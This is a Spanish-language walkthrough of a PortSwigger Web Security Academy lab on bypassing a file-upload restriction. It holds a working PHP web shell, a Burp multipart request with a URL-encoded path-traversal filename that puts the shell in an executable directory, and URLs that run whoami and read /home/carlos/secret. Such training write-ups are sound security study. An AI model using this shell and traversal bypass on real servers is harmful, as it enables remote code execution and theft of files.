Entrada

File Upload Vulnerabilities Lab 3

File Upload Vulnerabilities Lab 3

Skills

  • Web shell upload via path traversal

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable, el servidor está configurado para prevenir la ejecución de archivos proporcionados por el usuario, pero esta restricción puede ser eludida explotando un path traversal. Para resolver el laboratorio, debemos subir una web shell básica en PHP, utilizarla para extraer el contenido del archivo /home/carlos/secret y enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión con nuestra propia cuenta utilizando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Si accedemos a https://0af3002604e2eaaa825ad87900e80024.web-security-academy.net/files/avatars/shell.php vemos que no se está interpretando

Al parecer los archivos php de este directorio no se interpretan, lo que debemos hacer es subir el archivo nuevamente y capturar la petición con Burpsuite. Una vez hecho esto vamos a efectuar un path traversal filename="%2e%2e%2fshell.php", este payload es ../shell.php pero tenemos que url encodearlo porque nos elimina el ../

1
2
3
4
5
6
Content-Disposition: form-data; name="avatar"; filename="%2e%2e%2fshell.php"
Content-Type: application/x-php

<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Si accedemos a https://0a4700a403b7d67580dde9b000e30030.web-security-academy.net/files/shell.php?cmd=whoami veremos que hemos logrado un RCE (Remote Code Execution) debido a que el path traversal ha sido exitoso y el directorio /files no tenía ninguna restricción a la hora de interpretar archivo php

Listamos el contenido de la home de carlos https://0a4700a403b7d67580dde9b000e30030.web-security-academy.net/files/shell.php?cmd=ls%20/home/carlos

Obtenemos el contenido del archivo secret https://0a4700a403b7d67580dde9b000e30030.web-security-academy.net/files/shell.php?cmd=cat%20/home/carlos/secret

Submiteamos la solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.